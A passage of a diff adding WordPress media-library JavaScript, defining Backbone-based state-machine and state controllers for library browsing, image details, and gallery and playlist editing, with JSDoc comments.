+
+			args = _.toArray( arguments );
+			base = this.id + ':' + event;
+
+			// Trigger `{this.id}:{event}:{this._mode}` event on the frame.
+			args[0] = base + ':' + this._mode;
+			this.view.trigger.apply( this.view, args );
+
+			// Trigger `{this.id}:{event}` event on the frame.
+			args[0] = base;
+			this.view.trigger.apply( this.view, args );
+			return this;
+		}
+	});
+
+	/**
+	 * wp.media.controller.StateMachine
+	 *
+	 * A state machine keeps track of state. It is in one state at a time,
+	 * and can change from one state to another.
+	 *
+	 * States are stored as models in a Backbone collection.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @class
+	 * @augments Backbone.Model
+	 * @mixin
+	 * @mixes Backbone.Events
+	 *
+	 * @param {Array} states
+	 */
+	media.controller.StateMachine = function( states ) {
+		// @todo This is dead code. The states collection gets created in media.view.Frame._createStates.
+		this.states = new Backbone.Collection( states );
+	};
+
+	// Use Backbone's self-propagating `extend` inheritance method.
+	media.controller.StateMachine.extend = Backbone.Model.extend;
+
+	_.extend( media.controller.StateMachine.prototype, Backbone.Events, {
+		/**
+		 * Fetch a state.
+		 *
+		 * If no `id` is provided, returns the active state.
+		 *
+		 * Implicitly creates states.
+		 *
+		 * Ensure that the `states` collection exists so the `StateMachine`
+		 *   can be used as a mixin.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {string} id
+		 * @returns {wp.media.controller.State} Returns a State model
+		 *   from the StateMachine collection
+		 */
+		state: function( id ) {
+			this.states = this.states || new Backbone.Collection();
+
+			// Default to the active state.
+			id = id || this._state;
+
+			if ( id && ! this.states.get( id ) ) {
+				this.states.add({ id: id });
+			}
+			return this.states.get( id );
+		},
+
+		/**
+		 * Sets the active state.
+		 *
+		 * Bail if we're trying to select the current state, if we haven't
+		 * created the `states` collection, or are trying to select a state
+		 * that does not exist.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {string} id
+		 *
+		 * @fires wp.media.controller.State#deactivate
+		 * @fires wp.media.controller.State#activate
+		 *
+		 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining
+		 */
+		setState: function( id ) {
+			var previous = this.state();
+
+			if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) {
+				return this;
+			}
+
+			if ( previous ) {
+				previous.trigger('deactivate');
+				this._lastState = previous.id;
+			}
+
+			this._state = id;
+			this.state().trigger('activate');
+
+			return this;
+		},
+
+		/**
+		 * Returns the previous active state.
+		 *
+		 * Call the `state()` method with no parameters to retrieve the current
+		 * active state.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @returns {wp.media.controller.State} Returns a State model
+		 *    from the StateMachine collection
+		 */
+		lastState: function() {
+			if ( this._lastState ) {
+				return this.state( this._lastState );
+			}
+		}
+	});
+
+	// Map all event binding and triggering on a StateMachine to its `states` collection.
+	_.each([ 'on', 'off', 'trigger' ], function( method ) {
+		/**
+		 * @returns {wp.media.controller.StateMachine} Returns itself to allow chaining.
+		 */
+		media.controller.StateMachine.prototype[ method ] = function() {
+			// Ensure that the `states` collection exists so the `StateMachine`
+			// can be used as a mixin.
+			this.states = this.states || new Backbone.Collection();
+			// Forward the method to the `states` collection.
+			this.states[ method ].apply( this.states, arguments );
+			return this;
+		};
+	});
+
+	/**
+	 * wp.media.controller.State
+	 *
+	 * A state is a step in a workflow that when set will trigger the controllers
+	 * for the regions to be updated as specified in the frame.
+	 *
+	 * A state has an event-driven lifecycle:
+	 *
+	 *     'ready'      triggers when a state is added to a state machine's collection.
+	 *     'activate'   triggers when a state is activated by a state machine.
+	 *     'deactivate' triggers when a state is deactivated by a state machine.
+	 *     'reset'      is not triggered automatically. It should be invoked by the
+	 *                  proper controller to reset the state to its default.
+	 *
+	 * @class
+	 * @augments Backbone.Model
+	 */
+	media.controller.State = Backbone.Model.extend({
+		/**
+		 * Constructor.
+		 *
+		 * @since 3.5.0
+		 */
+		constructor: function() {
+			this.on( 'activate', this._preActivate, this );
+			this.on( 'activate', this.activate, this );
+			this.on( 'activate', this._postActivate, this );
+			this.on( 'deactivate', this._deactivate, this );
+			this.on( 'deactivate', this.deactivate, this );
+			this.on( 'reset', this.reset, this );
+			this.on( 'ready', this._ready, this );
+			this.on( 'ready', this.ready, this );
+			/**
+			 * Call parent constructor with passed arguments
+			 */
+			Backbone.Model.apply( this, arguments );
+			this.on( 'change:menu', this._updateMenu, this );
+		},
+		/**
+		 * Ready event callback.
+		 *
+		 * @abstract
+		 * @since 3.5.0
+		 */
+		ready: function() {},
+
+		/**
+		 * Activate event callback.
+		 *
+		 * @abstract
+		 * @since 3.5.0
+		 */
+		activate: function() {},
+
+		/**
+		 * Deactivate event callback.
+		 *
+		 * @abstract
+		 * @since 3.5.0
+		 */
+		deactivate: function() {},
+
+		/**
+		 * Reset event callback.
+		 *
+		 * @abstract
+		 * @since 3.5.0
+		 */
+		reset: function() {},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_ready: function() {
+			this._updateMenu();
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		*/
+		_preActivate: function() {
+			this.active = true;
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_postActivate: function() {
+			this.on( 'change:menu', this._menu, this );
+			this.on( 'change:titleMode', this._title, this );
+			this.on( 'change:content', this._content, this );
+			this.on( 'change:toolbar', this._toolbar, this );
+
+			this.frame.on( 'title:render:default', this._renderTitle, this );
+
+			this._title();
+			this._menu();
+			this._toolbar();
+			this._content();
+			this._router();
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_deactivate: function() {
+			this.active = false;
+
+			this.frame.off( 'title:render:default', this._renderTitle, this );
+
+			this.off( 'change:menu', this._menu, this );
+			this.off( 'change:titleMode', this._title, this );
+			this.off( 'change:content', this._content, this );
+			this.off( 'change:toolbar', this._toolbar, this );
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_title: function() {
+			this.frame.title.render( this.get('titleMode') || 'default' );
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_renderTitle: function( view ) {
+			view.$el.text( this.get('title') || '' );
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_router: function() {
+			var router = this.frame.router,
+				mode = this.get('router'),
+				view;
+
+			this.frame.$el.toggleClass( 'hide-router', ! mode );
+			if ( ! mode ) {
+				return;
+			}
+
+			this.frame.router.render( mode );
+
+			view = router.get();
+			if ( view && view.select ) {
+				view.select( this.frame.content.mode() );
+			}
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_menu: function() {
+			var menu = this.frame.menu,
+				mode = this.get('menu'),
+				view;
+
+			this.frame.$el.toggleClass( 'hide-menu', ! mode );
+			if ( ! mode ) {
+				return;
+			}
+
+			menu.mode( mode );
+
+			view = menu.get();
+			if ( view && view.select ) {
+				view.select( this.id );
+			}
+		},
+
+		/**
+		 * @access private
+		 * @since 3.5.0
+		 */
+		_updateMenu: function() {
+			var previous = this.previous('menu'),
+				menu = this.get('menu');
+
+			if ( previous ) {
+				this.frame.off( 'menu:render:' + previous, this._renderMenu, this );
+			}
+
+			if ( menu ) {
+				this.frame.on( 'menu:render:' + menu, this._renderMenu, this );
+			}
+		},
+
+		/**
+		 * Create a view in the media menu for the state.
+		 *
+		 * @access private
+		 * @since 3.5.0
+		 *
+		 * @param {media.view.Menu} view The menu view.
+		 */
+		_renderMenu: function( view ) {
+			var menuItem = this.get('menuItem'),
+				title = this.get('title'),
+				priority = this.get('priority');
+
+			if ( ! menuItem && title ) {
+				menuItem = { text: title };
+
+				if ( priority ) {
+					menuItem.priority = priority;
+				}
+			}
+
+			if ( ! menuItem ) {
+				return;
+			}
+
+			view.set( this.id, menuItem );
+		}
+	});
+
+	_.each(['toolbar','content'], function( region ) {
+		/**
+		 * @access private
+		 */
+		media.controller.State.prototype[ '_' + region ] = function() {
+			var mode = this.get( region );
+			if ( mode ) {
+				this.frame[ region ].render( mode );
+			}
+		};
+	});
+
+	/**
+	 * wp.media.selectionSync
+	 *
+	 * Sync an attachments selection in a state with another state.
+	 *
+	 * Allows for selecting multiple images in the Insert Media workflow, and then
+	 * switching to the Insert Gallery workflow while preserving the attachments selection.
+	 *
+	 * @mixin
+	 */
+	media.selectionSync = {
+		/**
+		 * @since 3.5.0
+		 */
+		syncSelection: function() {
+			var selection = this.get('selection'),
+				manager = this.frame._selection;
+
+			if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+				return;
+			}
+
+			// If the selection supports multiple items, validate the stored
+			// attachments based on the new selection's conditions. Record
+			// the attachments that are not included; we'll maintain a
+			// reference to those. Other attachments are considered in flux.
+			if ( selection.multiple ) {
+				selection.reset( [], { silent: true });
+				selection.validateAll( manager.attachments );
+				manager.difference = _.difference( manager.attachments.models, selection.models );
+			}
+
+			// Sync the selection's single item with the master.
+			selection.single( manager.single );
+		},
+
+		/**
+		 * Record the currently active attachments, which is a combination
+		 * of the selection's attachments and the set of selected
+		 * attachments that this specific selection considered invalid.
+		 * Reset the difference and record the single attachment.
+		 *
+		 * @since 3.5.0
+		 */
+		recordSelection: function() {
+			var selection = this.get('selection'),
+				manager = this.frame._selection;
+
+			if ( ! this.get('syncSelection') || ! manager || ! selection ) {
+				return;
+			}
+
+			if ( selection.multiple ) {
+				manager.attachments.reset( selection.toArray().concat( manager.difference ) );
+				manager.difference = [];
+			} else {
+				manager.attachments.add( selection.toArray() );
+			}
+
+			manager.single = selection._single;
+		}
+	};
+
+	/**
+	 * wp.media.controller.Library
+	 *
+	 * A state for choosing an attachment or group of attachments from the media library.
+	 *
+	 * @class
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 * @mixes media.selectionSync
+	 *
+	 * @param {object}                          [attributes]                         The attributes hash passed to the state.
+	 * @param {string}                          [attributes.id=library]              Unique identifier.
+	 * @param {string}                          [attributes.title=Media library]     Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {wp.media.model.Attachments}      [attributes.library]                 The attachments collection to browse.
+	 *                                                                               If one is not supplied, a collection of all attachments will be created.
+	 * @param {wp.media.model.Selection|object} [attributes.selection]               A collection to contain attachment selections within the state.
+	 *                                                                               If the 'selection' attribute is a plain JS object,
+	 *                                                                               a Selection will be created using its values as the selection instance's `props` model.
+	 *                                                                               Otherwise, it will copy the library's `props` model.
+	 * @param {boolean}                         [attributes.multiple=false]          Whether multi-select is enabled.
+	 * @param {string}                          [attributes.content=upload]          Initial mode for the content region.
+	 *                                                                               Overridden by persistent user setting if 'contentUserSetting' is true.
+	 * @param {string}                          [attributes.menu=default]            Initial mode for the menu region.
+	 * @param {string}                          [attributes.router=browse]           Initial mode for the router region.
+	 * @param {string}                          [attributes.toolbar=select]          Initial mode for the toolbar region.
+	 * @param {boolean}                         [attributes.searchable=true]         Whether the library is searchable.
+	 * @param {boolean|string}                  [attributes.filterable=false]        Whether the library is filterable, and if so what filters should be shown.
+	 *                                                                               Accepts 'all', 'uploaded', or 'unattached'.
+	 * @param {boolean}                         [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                         [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+	 * @param {boolean}                         [attributes.describe=false]          Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+	 * @param {boolean}                         [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+	 * @param {boolean}                         [attributes.syncSelection=true]      Whether the Attachments selection should be persisted from the last state.
+	 */
+	media.controller.Library = media.controller.State.extend({
+		defaults: {
+			id:                 'library',
+			title:              l10n.mediaLibraryTitle,
+			multiple:           false,
+			content:            'upload',
+			menu:               'default',
+			router:             'browse',
+			toolbar:            'select',
+			searchable:         true,
+			filterable:         false,
+			sortable:           true,
+			autoSelect:         true,
+			describe:           false,
+			contentUserSetting: true,
+			syncSelection:      true
+		},
+
+		/**
+		 * If a library isn't provided, query all media items.
+		 * If a selection instance isn't provided, create one.
+		 *
+		 * @since 3.5.0
+		 */
+		initialize: function() {
+			var selection = this.get('selection'),
+				props;
+
+			if ( ! this.get('library') ) {
+				this.set( 'library', media.query() );
+			}
+
+			if ( ! (selection instanceof media.model.Selection) ) {
+				props = selection;
+
+				if ( ! props ) {
+					props = this.get('library').props.toJSON();
+					props = _.omit( props, 'orderby', 'query' );
+				}
+
+				this.set( 'selection', new media.model.Selection( null, {
+					multiple: this.get('multiple'),
+					props: props
+				}) );
+			}
+
+			this.resetDisplays();
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		activate: function() {
+			this.syncSelection();
+
+			wp.Uploader.queue.on( 'add', this.uploading, this );
+
+			this.get('selection').on( 'add remove reset', this.refreshContent, this );
+
+			if ( this.get( 'router' ) && this.get('contentUserSetting') ) {
+				this.frame.on( 'content:activate', this.saveContentMode, this );
+				this.set( 'content', getUserSetting( 'libraryContent', this.get('content') ) );
+			}
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		deactivate: function() {
+			this.recordSelection();
+
+			this.frame.off( 'content:activate', this.saveContentMode, this );
+
+			// Unbind all event handlers that use this state as the context
+			// from the selection.
+			this.get('selection').off( null, null, this );
+
+			wp.Uploader.queue.off( null, null, this );
+		},
+
+		/**
+		 * Reset the library to its initial state.
+		 *
+		 * @since 3.5.0
+		 */
+		reset: function() {
+			this.get('selection').reset();
+			this.resetDisplays();
+			this.refreshContent();
+		},
+
+		/**
+		 * Reset the attachment display settings defaults to the site options.
+		 *
+		 * If site options don't define them, fall back to a persistent user setting.
+		 *
+		 * @since 3.5.0
+		 */
+		resetDisplays: function() {
+			var defaultProps = media.view.settings.defaultProps;
+			this._displays = [];
+			this._defaultDisplaySettings = {
+				align: defaultProps.align || getUserSetting( 'align', 'none' ),
+				size:  defaultProps.size  || getUserSetting( 'imgsize', 'medium' ),
+				link:  defaultProps.link  || getUserSetting( 'urlbutton', 'file' )
+			};
+		},
+
+		/**
+		 * Create a model to represent display settings (alignment, etc.) for an attachment.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @returns {Backbone.Model}
+		 */
+		display: function( attachment ) {
+			var displays = this._displays;
+
+			if ( ! displays[ attachment.cid ] ) {
+				displays[ attachment.cid ] = new Backbone.Model( this.defaultDisplaySettings( attachment ) );
+			}
+			return displays[ attachment.cid ];
+		},
+
+		/**
+		 * Given an attachment, create attachment display settings properties.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @returns {Object}
+		 */
+		defaultDisplaySettings: function( attachment ) {
+			var settings = this._defaultDisplaySettings;
+			if ( settings.canEmbed = this.canEmbed( attachment ) ) {
+				settings.link = 'embed';
+			}
+			return settings;
+		},
+
+		/**
+		 * Whether an attachment can be embedded (audio or video).
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @returns {Boolean}
+		 */
+		canEmbed: function( attachment ) {
+			// If uploading, we know the filename but not the mime type.
+			if ( ! attachment.get('uploading') ) {
+				var type = attachment.get('type');
+				if ( type !== 'audio' && type !== 'video' ) {
+					return false;
+				}
+			}
+
+			return _.contains( media.view.settings.embedExts, attachment.get('filename').split('.').pop() );
+		},
+
+
+		/**
+		 * If the state is active, no items are selected, and the current
+		 * content mode is not an option in the state's router (provided
+		 * the state has a router), reset the content mode to the default.
+		 *
+		 * @since 3.5.0
+		 */
+		refreshContent: function() {
+			var selection = this.get('selection'),
+				frame = this.frame,
+				router = frame.router.get(),
+				mode = frame.content.mode();
+
+			if ( this.active && ! selection.length && router && ! router.get( mode ) ) {
+				this.frame.content.render( this.get('content') );
+			}
+		},
+
+		/**
+		 * Callback handler when an attachment is uploaded.
+		 *
+		 * Switch to the Media Library if uploaded from the 'Upload Files' tab.
+		 *
+		 * Adds any uploading attachments to the selection.
+		 *
+		 * If the state only supports one attachment to be selected and multiple
+		 * attachments are uploaded, the last attachment in the upload queue will
+		 * be selected.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 */
+		uploading: function( attachment ) {
+			var content = this.frame.content;
+
+			if ( 'upload' === content.mode() ) {
+				this.frame.content.mode('browse');
+			}
+
+			if ( this.get( 'autoSelect' ) ) {
+				this.get('selection').add( attachment );
+				this.frame.trigger( 'library:selection:add' );
+			}
+		},
+
+		/**
+		 * Persist the mode of the content region as a user setting.
+		 *
+		 * @since 3.5.0
+		 */
+		saveContentMode: function() {
+			if ( 'browse' !== this.get('router') ) {
+				return;
+			}
+
+			var mode = this.frame.content.mode(),
+				view = this.frame.router.get();
+
+			if ( view && view.get( mode ) ) {
+				setUserSetting( 'libraryContent', mode );
+			}
+		}
+	});
+
+	// Make selectionSync available on any Media Library state.
+	_.extend( media.controller.Library.prototype, media.selectionSync );
+
+	/**
+	 * wp.media.controller.ImageDetails
+	 *
+	 * A state for editing the attachment display settings of an image that's been
+	 * inserted into the editor.
+	 *
+	 * @class
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                    [attributes]                       The attributes hash passed to the state.
+	 * @param {string}                    [attributes.id=image-details]      Unique identifier.
+	 * @param {string}                    [attributes.title=Image Details]   Title for the state. Displays in the frame's title region.
+	 * @param {wp.media.model.Attachment} attributes.image                   The image's model.
+	 * @param {string|false}              [attributes.content=image-details] Initial mode for the content region.
+	 * @param {string|false}              [attributes.menu=false]            Initial mode for the menu region.
+	 * @param {string|false}              [attributes.router=false]          Initial mode for the router region.
+	 * @param {string|false}              [attributes.toolbar=image-details] Initial mode for the toolbar region.
+	 * @param {boolean}                   [attributes.editing=false]         Unused.
+	 * @param {int}                       [attributes.priority=60]           Unused.
+	 *
+	 * @todo This state inherits some defaults from media.controller.Library.prototype.defaults,
+	 *       however this may not do anything.
+	 */
+	media.controller.ImageDetails = media.controller.State.extend({
+		defaults: _.defaults({
+			id:       'image-details',
+			title:    l10n.imageDetailsTitle,
+			content:  'image-details',
+			menu:     false,
+			router:   false,
+			toolbar:  'image-details',
+			editing:  false,
+			priority: 60
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.9.0
+		 *
+		 * @param options Attributes
+		 */
+		initialize: function( options ) {
+			this.image = options.image;
+			media.controller.State.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			this.frame.modal.$el.addClass('image-details');
+		}
+	});
+
+	/**
+	 * wp.media.controller.GalleryEdit
+	 *
+	 * A state for editing a gallery's images and settings.
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                       The attributes hash passed to the state.
+	 * @param {string}                     [attributes.id=gallery-edit]       Unique identifier.
+	 * @param {string}                     [attributes.title=Edit Gallery]    Title for the state. Displays in the frame's title region.
+	 * @param {wp.media.model.Attachments} [attributes.library]               The collection of attachments in the gallery.
+	 *                                                                        If one is not supplied, an empty media.model.Selection collection is created.
+	 * @param {boolean}                    [attributes.multiple=false]        Whether multi-select is enabled.
+	 * @param {boolean}                    [attributes.searchable=false]      Whether the library is searchable.
+	 * @param {boolean}                    [attributes.sortable=true]         Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {string|false}               [attributes.content=browse]        Initial mode for the content region.
+	 * @param {string|false}               [attributes.toolbar=image-details] Initial mode for the toolbar region.
+	 * @param {boolean}                    [attributes.describe=true]         Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+	 * @param {boolean}                    [attributes.displaySettings=true]  Whether to show the attachment display settings interface.
+	 * @param {boolean}                    [attributes.dragInfo=true]         Whether to show instructional text about the attachments being sortable.
+	 * @param {int}                        [attributes.idealColumnWidth=170]  The ideal column width in pixels for attachments.
+	 * @param {boolean}                    [attributes.editing=false]         Whether the gallery is being created, or editing an existing instance.
+	 * @param {int}                        [attributes.priority=60]           The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.syncSelection=false]   Whether the Attachments selection should be persisted from the last state.
+	 *                                                                        Defaults to false for this state, because the library passed in  *is* the selection.
+	 * @param {view}                       [attributes.AttachmentView]        The single `Attachment` view to be used in the `Attachments`.
+	 *                                                                        If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+	 */
+	media.controller.GalleryEdit = media.controller.Library.extend({
+		defaults: {
+			id:               'gallery-edit',
+			title:            l10n.editGalleryTitle,
+			multiple:         false,
+			searchable:       false,
+			sortable:         true,
+			display:          false,
+			content:          'browse',
+			toolbar:          'gallery-edit',
+			describe:         true,
+			displaySettings:  true,
+			dragInfo:         true,
+			idealColumnWidth: 170,
+			editing:          false,
+			priority:         60,
+			syncSelection:    false
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		initialize: function() {
+			// If we haven't been provided a `library`, create a `Selection`.
+			if ( ! this.get('library') )
+				this.set( 'library', new media.model.Selection() );
+
+			// The single `Attachment` view to be used in the `Attachments` view.
+			if ( ! this.get('AttachmentView') )
+				this.set( 'AttachmentView', media.view.Attachment.EditLibrary );
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		activate: function() {
+			var library = this.get('library');
+
+			// Limit the library to images only.
+			library.props.set( 'type', 'image' );
+
+			// Watch for uploaded attachments.
+			this.get('library').observe( wp.Uploader.queue );
+
+			this.frame.on( 'content:render:browse', this.gallerySettings, this );
+
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		deactivate: function() {
+			// Stop watching for uploaded attachments.
+			this.get('library').unobserve( wp.Uploader.queue );
+
+			this.frame.off( 'content:render:browse', this.gallerySettings, this );
+
+			media.controller.Library.prototype.deactivate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 *
+		 * @param browser
+		 */
+		gallerySettings: function( browser ) {
+			if ( ! this.get('displaySettings') ) {
+				return;
+			}
+
+			var library = this.get('library');
+
+			if ( ! library || ! browser ) {
+				return;
+			}
+
+			library.gallery = library.gallery || new Backbone.Model();
+
+			browser.sidebar.set({
+				gallery: new media.view.Settings.Gallery({
+					controller: this,
+					model:      library.gallery,
+					priority:   40
+				})
+			});
+
+			browser.toolbar.set( 'reverse', {
+				text:     l10n.reverseOrder,
+				priority: 80,
+
+				click: function() {
+					library.reset( library.toArray().reverse() );
+				}
+			});
+		}
+	});
+
+	/**
+	 * A state for selecting more images to add to a gallery.
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                         The attributes hash passed to the state.
+	 * @param {string}                     [attributes.id=gallery-library]      Unique identifier.
+	 * @param {string}                     [attributes.title=Add to Gallery]    Title for the state. Displays in the frame's title region.
+	 * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+	 * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+	 *                                                                          If one is not supplied, a collection of all images will be created.
+	 * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+	 *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+	 * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+	 * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+	 *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+	 * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+	 * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+	 * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+	 * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+	 * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+	 * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+	 *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+	 */
+	media.controller.GalleryAdd = media.controller.Library.extend({
+		defaults: _.defaults({
+			id:            'gallery-library',
+			title:         l10n.addToGalleryTitle,
+			multiple:      'add',
+			filterable:    'uploaded',
+			menu:          'gallery',
+			toolbar:       'gallery-add',
+			priority:      100,
+			syncSelection: false
+		}, media.controller.Library.prototype.defaults ),
+
+		/**
+		 * @since 3.5.0
+		 */
+		initialize: function() {
+			// If a library wasn't supplied, create a library of images.
+			if ( ! this.get('library') )
+				this.set( 'library', media.query({ type: 'image' }) );
+
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.5.0
+		 */
+		activate: function() {
+			var library = this.get('library'),
+				edit    = this.frame.state('gallery-edit').get('library');
+
+			if ( this.editLibrary && this.editLibrary !== edit )
+				library.unobserve( this.editLibrary );
+
+			// Accepts attachments that exist in the original library and
+			// that do not exist in gallery's library.
+			library.validator = function( attachment ) {
+				return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && media.model.Selection.prototype.validator.apply( this, arguments );
+			};
+
+			// Reset the library to ensure that all attachments are re-added
+			// to the collection. Do so silently, as calling `observe` will
+			// trigger the `reset` event.
+			library.reset( library.mirroring.models, { silent: true });
+			library.observe( edit );
+			this.editLibrary = edit;
+
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		}
+	});
+
+	/**
+	 * wp.media.controller.CollectionEdit
+	 *
+	 * A state for editing a collection, which is used by audio and video playlists,
+	 * and can be used for other collections.
+	 *
+	 * @class
+	 * @augments wp.media.controller.Library
+	 * @augments wp.media.controller.State
+	 * @augments Backbone.Model
+	 *
+	 * @param {object}                     [attributes]                      The attributes hash passed to the state.
+	 * @param {string}                     attributes.title                  Title for the state. Displays in the media menu and the frame's title region.
+	 * @param {wp.media.model.Attachments} [attributes.library]              The attachments collection to edit.
+	 *                                                                       If one is not supplied, an empty media.model.Selection collection is created.
+	 * @param {boolean}                    [attributes.multiple=false]       Whether multi-select is enabled.
+	 * @param {string}                     [attributes.content=browse]       Initial mode for the content region.
+	 * @param {string}                     attributes.menu                   Initial mode for the menu region. @todo this needs a better explanation.
+	 * @param {boolean}                    [attributes.searchable=false]     Whether the library is searchable.
+	 * @param {boolean}                    [attributes.sortable=true]        Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+	 * @param {boolean}                    [attributes.describe=true]        Whether to offer UI to describe the attachments - e.g. captioning images in a gallery.
+	 * @param {boolean}                    [attributes.dragInfo=true]        Whether to show instructional text about the attachments being sortable.
+	 * @param {boolean}                    [attributes.dragInfoText]         Instructional text about the attachments being sortable.
+	 * @param {int}                        [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments.
+	 * @param {boolean}                    [attributes.editing=false]        Whether the gallery is being created, or editing an existing instance.
+	 * @param {int}                        [attributes.priority=60]          The priority for the state link in the media menu.
+	 * @param {boolean}                    [attributes.syncSelection=false]  Whether the Attachments selection should be persisted from the last state.
+	 *                                                                       Defaults to false for this state, because the library passed in  *is* the selection.
+	 * @param {view}                       [attributes.SettingsView]         The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox).
+	 * @param {view}                       [attributes.AttachmentView]       The single `Attachment` view to be used in the `Attachments`.
+	 *                                                                       If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+	 * @param {string}                     attributes.type                   The collection's media type. (e.g. 'video').
+	 * @param {string}                     attributes.collectionType         The collection type. (e.g. 'playlist').
+	 */
+	media.controller.CollectionEdit = media.controller.Library.extend({
+		defaults: {
+			multiple:         false,
+			sortable:         true,
+			searchable:       false,
+			content:          'browse',
+			describe:         true,
+			dragInfo:         true,
+			idealColumnWidth: 170,
+			editing:          false,
+			priority:         60,
+			SettingsView:     false,
+			syncSelection:    false
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		initialize: function() {
+			var collectionType = this.get('collectionType');
+
+			if ( 'video' === this.get( 'type' ) ) {
+				collectionType = 'video-' + collectionType;
+			}
+
+			this.set( 'id', collectionType + '-edit' );
+			this.set( 'toolbar', collectionType + '-edit' );
+
+			// If we haven't been provided a `library`, create a `Selection`.
+			if ( ! this.get('library') ) {
+				this.set( 'library', new media.model.Selection() );
+			}
+			// The single `Attachment` view to be used in the `Attachments` view.
+			if ( ! this.get('AttachmentView') ) {
+				this.set( 'AttachmentView', media.view.Attachment.EditLibrary );
+			}
+			media.controller.Library.prototype.initialize.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		activate: function() {
+			var library = this.get('library');
+
+			// Limit the library to images only.
+			library.props.set( 'type', this.get( 'type' ) );
+
+			// Watch for uploaded attachments.
+			this.get('library').observe( wp.Uploader.queue );
+
+			this.frame.on( 'content:render:browse', this.renderSettings, this );
+
+			media.controller.Library.prototype.activate.apply( this, arguments );
+		},
+
+		/**
+		 * @since 3.9.0
+		 */
+		deactivate: function() {
+			// Stop watching for uploaded attachments.
+			this.get('library').unobserve( wp.Uploader.queue );
+
+			this.frame.off( 'content:render:browse', this.renderSettings, this );
+
+			media.controller.Library.prototype.deactivate.apply( this, arguments );
+		},
+
+		/**
+		 * Render the collection embed settings view in the browser sidebar.
+		 *
+		 * @todo This is against the pattern elsewhere in media. Typically the frame
+		 *       is responsible for adding region mode callbacks. Explain.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param {wp.media.view.attachmentsBrowser} The attachments browser view.
+		 */
